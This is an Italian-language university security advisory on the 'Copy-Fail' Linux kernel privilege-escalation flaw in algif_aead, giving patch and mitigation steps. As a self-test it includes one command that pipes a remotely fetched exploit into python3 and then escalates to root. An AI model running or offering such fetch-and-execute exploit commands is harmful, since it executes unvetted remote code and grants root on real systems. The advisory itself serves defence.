Vulnerabilità “Copy-Fail” nel kernel Linux (CVE-2026-31431)

1. Aggiornare il kernel Linux alla versione corretta non appena disponibile. 
2. In assenza di aggiornamenti, applicare una mitigazione temporanea disabilitando il modulo vulnerabile. 
3. Riavviare il sistema dopo l’applicazione della mitigazione. 

Il modulo algif_aead può essere incluso staticamente nel kernel, oppure caricato dinamicamente tramite modprobe a seconda della distribuzione in uso. 

• Se il modulo  algif_aead è caricato dinamicamente: disabilitarlo seguendo le procedure più adatte per la distro in uso. 
• Se il modulo algif_aead è incluso nel kernel: disabilitare l'inizializzazione del modulo al boot impostando il parametro del kernel initcall_blacklist=algif_aead_init 

Se il sistema è aggiornato o la mitigazione è applicata correttamente, il proof-of-concept pubblico non dovrebbero consentire l’escalation dei privilegi. Eseguendo 

curl https://copy.fail/exp | python3 && su && whoami 

se non sono state generate eccezioni, e il nome utente restituito è "root", allora il vostro sistema è vulnerabile. 

Il Servizio Cybersecurity del Politecnico di Torino ha: 
- Informato i referenti informatici dei Dipartimenti 
- Fornito indicazioni tecniche e supporto 
- Supportato l’implementazione delle contromisure su infrastrutture critiche 

In ogni caso, si raccomanda sempre di evitare l’esecuzione di codice non verificato proveniente da Internet.